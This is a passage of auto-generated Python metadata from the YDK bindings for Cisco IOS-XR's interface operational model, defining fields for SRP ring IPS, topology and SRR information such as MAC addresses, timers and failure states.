_MetaInfoClassMember('ppp-information', REFERENCE_CLASS, 'PppInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.PppInformation',
[], [],
''' PPP information
''',
'ppp_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'encapsulation-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideA.AssertedFailure' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideA.AssertedFailure',
False,
[
_MetaInfoClassMember('current-state', REFERENCE_ENUM_CLASS, 'SrpMgmtFailureStateEtEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtFailureStateEtEnum',
[], [],
''' Current state
''',
'current_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('debounced-delay', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Debounce delay
''',
'debounced_delay',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('debounced-state', REFERENCE_ENUM_CLASS, 'SrpMgmtFailureStateEtEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtFailureStateEtEnum',
[], [],
''' Debounced state
''',
'debounced_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('reported-state', REFERENCE_ENUM_CLASS, 'SrpMgmtFailureStateEtEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtFailureStateEtEnum',
[], [],
''' Reported state
''',
'reported_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('stable-time', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Stable time
''',
'stable_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'SrpMgmtFailureEtEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtFailureEtEnum',
[], [],
''' Failure type
''',
'type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'asserted-failure',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideA' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideA',
False,
[
_MetaInfoClassMember('asserted-failure', REFERENCE_LIST, 'AssertedFailure' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideA.AssertedFailure',
[], [],
''' Failures presently asserted
''',
'asserted_failure',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('delay-keep-alive-trigger', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of milliseconds to wait after an L1
failure is detected before triggering an L2 wrap
''',
'delay_keep_alive_trigger',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' MAC address
''',
'mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packet-sent-timer', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' SRP IPS packet send interval in seconds
''',
'packet_sent_timer',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('remote-request', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsReqEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsReqEnum',
[], [],
''' Remote Requests
''',
'remote_request',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-message-type', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsReqEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsReqEnum',
[], [],
''' Type of message received
''',
'rx_message_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-neighbor-mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' Neighbour mac address for received message
''',
'rx_neighbor_mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-packet-test', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Test for existence of an RX packet
''',
'rx_packet_test',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-path-type', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsPathIndEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsPathIndEnum',
[], [],
''' Short/long path for received message
''',
'rx_path_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-ttl', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time to live for received message
''',
'rx_ttl',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('self-detected-request', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsReqEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsReqEnum',
[], [],
''' Self Detected Requests
''',
'self_detected_request',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('send-timer-time-remaining', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time in seconds remaining until next send of an
IPS request
''',
'send_timer_time_remaining',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-message-type', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsReqEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsReqEnum',
[], [],
''' Type of message transmitted
''',
'tx_message_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-neighbor-mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' Mac address of node receiving TXed messages
''',
'tx_neighbor_mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-packet-test', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Test for existence of a TX packet
''',
'tx_packet_test',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-path-type', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsPathIndEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsPathIndEnum',
[], [],
''' Short/long path of transmitted message
''',
'tx_path_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-ttl', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time to live for transmitted message
''',
'tx_ttl',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('wrap-state', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsWrapStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsWrapStateEnum',
[], [],
''' Wrap state
''',
'wrap_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('wtr-timer-remaining', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time in seconds until wrap removal
''',
'wtr_timer_remaining',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'side-a',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideB.AssertedFailure' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideB.AssertedFailure',
False,
[
_MetaInfoClassMember('current-state', REFERENCE_ENUM_CLASS, 'SrpMgmtFailureStateEtEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtFailureStateEtEnum',
[], [],
''' Current state
''',
'current_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('debounced-delay', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Debounce delay
''',
'debounced_delay',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('debounced-state', REFERENCE_ENUM_CLASS, 'SrpMgmtFailureStateEtEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtFailureStateEtEnum',
[], [],
''' Debounced state
''',
'debounced_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('reported-state', REFERENCE_ENUM_CLASS, 'SrpMgmtFailureStateEtEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtFailureStateEtEnum',
[], [],
''' Reported state
''',
'reported_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('stable-time', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Stable time
''',
'stable_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'SrpMgmtFailureEtEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtFailureEtEnum',
[], [],
''' Failure type
''',
'type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'asserted-failure',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideB' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideB',
False,
[
_MetaInfoClassMember('asserted-failure', REFERENCE_LIST, 'AssertedFailure' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideB.AssertedFailure',
[], [],
''' Failures presently asserted
''',
'asserted_failure',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('delay-keep-alive-trigger', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of milliseconds to wait after an L1
failure is detected before triggering an L2 wrap
''',
'delay_keep_alive_trigger',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' MAC address
''',
'mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packet-sent-timer', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' SRP IPS packet send interval in seconds
''',
'packet_sent_timer',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('remote-request', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsReqEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsReqEnum',
[], [],
''' Remote Requests
''',
'remote_request',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-message-type', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsReqEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsReqEnum',
[], [],
''' Type of message received
''',
'rx_message_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-neighbor-mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' Neighbour mac address for received message
''',
'rx_neighbor_mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-packet-test', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Test for existence of an RX packet
''',
'rx_packet_test',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-path-type', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsPathIndEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsPathIndEnum',
[], [],
''' Short/long path for received message
''',
'rx_path_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rx-ttl', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time to live for received message
''',
'rx_ttl',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('self-detected-request', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsReqEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsReqEnum',
[], [],
''' Self Detected Requests
''',
'self_detected_request',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('send-timer-time-remaining', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time in seconds remaining until next send of an
IPS request
''',
'send_timer_time_remaining',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-message-type', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsReqEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsReqEnum',
[], [],
''' Type of message transmitted
''',
'tx_message_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-neighbor-mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' Mac address of node receiving TXed messages
''',
'tx_neighbor_mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-packet-test', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Test for existence of a TX packet
''',
'tx_packet_test',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-path-type', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsPathIndEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsPathIndEnum',
[], [],
''' Short/long path of transmitted message
''',
'tx_path_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tx-ttl', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time to live for transmitted message
''',
'tx_ttl',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('wrap-state', REFERENCE_ENUM_CLASS, 'SrpMgmtIpsWrapStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtIpsWrapStateEnum',
[], [],
''' Wrap state
''',
'wrap_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('wtr-timer-remaining', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time in seconds until wrap removal
''',
'wtr_timer_remaining',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'side-b',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation',
False,
[
_MetaInfoClassMember('is-inter-card-bus-enabled', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Inter card bus enabled
''',
'is_inter_card_bus_enabled',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' MAC address for node
''',
'mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('side-a', REFERENCE_CLASS, 'SideA' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideA',
[], [],
''' Side A IPS details
''',
'side_a',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('side-b', REFERENCE_CLASS, 'SideB' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideB',
[], [],
''' Side B IPS details
''',
'side_b',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('wtr-timer-period', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' IPS Wait To Restore period in seconds
''',
'wtr_timer_period',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'local-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo',
False,
[
_MetaInfoClassMember('is-admin-down', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Is the interfaceadministratively down
''',
'is_admin_down',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('local-information', REFERENCE_LIST, 'LocalInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation',
[], [],
''' IPS information
''',
'local_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'ips-info',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo.LocalInformation.RingNode' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo.LocalInformation.RingNode',
False,
[
_MetaInfoClassMember('hop-count', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Outer-ring hops to reach this node
''',
'hop_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ipv4-address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' IPv4 address
''',
'ipv4_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-srr-supported', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' SRR protocol supported
''',
'is_srr_supported',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-wrapped', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Wrap state
''',
'is_wrapped',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' MAC address
''',
'mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('node-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Node name
''',
'node_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'ring-node',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo.LocalInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo.LocalInformation',
False,
[
_MetaInfoClassMember('next-topology-packet-delay', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time remaining until next topo pkt sent
''',
'next_topology_packet_delay',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('number-of-nodes-on-ring', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Number of nodes on ring
''',
'number_of_nodes_on_ring',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ring-node', REFERENCE_LIST, 'RingNode' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo.LocalInformation.RingNode',
[], [],
''' List of nodes on the ring info
''',
'ring_node',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('time-since-last-topology-change', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time since last topology change
''',
'time_since_last_topology_change',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('time-since-last-topology-packet-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time since last topo pkt was received
''',
'time_since_last_topology_packet_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('topology-timer', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' How often a topology pkt is sent
''',
'topology_timer',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'local-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo',
False,
[
_MetaInfoClassMember('is-admin-down', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Is the interfaceadministratively down
''',
'is_admin_down',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('local-information', REFERENCE_LIST, 'LocalInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo.LocalInformation',
[], [],
''' Detailed SRP topology information
''',
'local_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'topology-info',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo.NodesOnRing' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo.NodesOnRing',
False,
[
_MetaInfoClassMember('inner-failure', REFERENCE_ENUM_CLASS, 'SrpMgmtSrrFailureEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtSrrFailureEnum',
[], [],
''' Inner failure
''',
'inner_failure',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-last-announce-received', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Announce last received ?
''',
'is_last_announce_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-announce-received-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Announce last received
''',
'last_announce_received_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' node mac address
''',
'mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('node-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Node name
''',
'node_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('outer-failure', REFERENCE_ENUM_CLASS, 'SrpMgmtSrrFailureEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtSrrFailureEnum',
[], [],
''' Outer failure
''',
'outer_failure',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('srr-entry-exits', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Does the SRR information exist for this node
''',
'srr_entry_exits',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'nodes-on-ring',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo.NodesNotOnRing' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo.NodesNotOnRing',
False,
[
_MetaInfoClassMember('inner-failure', REFERENCE_ENUM_CLASS, 'SrpMgmtSrrFailureEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtSrrFailureEnum',
[], [],
''' Inner failure
''',
'inner_failure',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-last-announce-received', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Announce last received ?
''',
'is_last_announce_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-announce-received-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Announce last received
''',
'last_announce_received_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' node mac address
''',
'mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('node-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Node name
''',
'node_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('outer-failure', REFERENCE_ENUM_CLASS, 'SrpMgmtSrrFailureEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtSrrFailureEnum',
[], [],
''' Outer failure
''',
'outer_failure',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('srr-entry-exits', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Does the SRR information exist for this node
''',
'srr_entry_exits',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'nodes-not-on-ring',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
